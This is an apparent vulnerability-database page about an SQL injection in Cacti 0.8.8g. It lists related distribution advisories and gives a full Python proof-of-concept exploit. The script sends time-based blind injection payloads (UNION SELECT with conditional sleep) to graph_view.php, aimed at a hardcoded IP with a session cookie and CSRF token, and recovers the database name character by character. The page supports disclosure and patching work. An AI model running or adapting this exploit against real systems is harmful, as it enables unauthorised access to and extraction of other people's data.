Cacti 0.8.8g SQL Injection
| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| cacti -- multiple vulnerabilities | 4 Apr 201600:00 | – | freebsd | |
| Security Bulletin: Open Source Cacti vulnerability affects IBM Platform RTM (CVE-2016-3172, CVE-2016-3659) | 18 Jun 201801:17 | – | ibm | |
| Medium: cacti | 2 Jun 201600:00 | – | amazon | |
| Amazon Linux AMI : cacti (ALAS-2016-711) | 6 Jun 201600:00 | – | nessus | |
| Debian DLA-560-2 : cacti regression update | 26 Jul 201600:00 | – | nessus | |
| Fedora 22 : cacti (2016-01198b9f9d) | 14 Jul 201600:00 | – | nessus | |
| Fedora 23 : cacti (2016-879977eea0) | 14 Jul 201600:00 | – | nessus | |
| Fedora 24 : cacti (2016-e8652e3efb) | 14 Jul 201600:00 | – | nessus | |
| FreeBSD : cacti -- multiple vulnerabilities (6167b341-250c-11e6-a6fb-003048f2e514) | 31 May 201600:00 | – | nessus | |
| GLSA-201607-05 : Cacti: Multiple vulnerabilities | 18 Jul 201600:00 | – | nessus |
10
`#!/usr/bin/python
# -*- coding: UTF-8 -*-
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'cacti_zoom=zoomMode%3Dquick%2CzoomOutPositioning%3Dcenter%2CzoomOutFactor%3D2%2CzoomMarkers%3Dtrue%2CzoomTimestamps%3Dauto%2Czoom3rdMouseButton%3Dfalse; Cacti=7a3e072f5ab62febf94fbedda5128fd0'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Starting to retrive MySQL DB:'
db= ''
user = ''
for i in range(1, 6):
for payload in payloads:
s = "__csrf_magic=sid:c766dcdb84bc21215af88d112bc9c4f2edc517b4,1458794525&host_group_data=graph_template:1 union select case when ord(substring((select database()) from %s for %s)) between %s and %s then sleep(5) else 0 end" % (i,i,ord(payload),ord(payload))
conn = httplib.HTTPConnection('133.130.98.98', timeout=60)
conn.request(method='POST',
url='/cacti/graph_view.php?action=tree_content',
body=s,
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
if time.time() - start_time > 5.0:
db += payload
print '\n\n[In progress]', db,
break
print '\n\n[Done] Current database is %s ' % (db)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Apr 2016 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.02256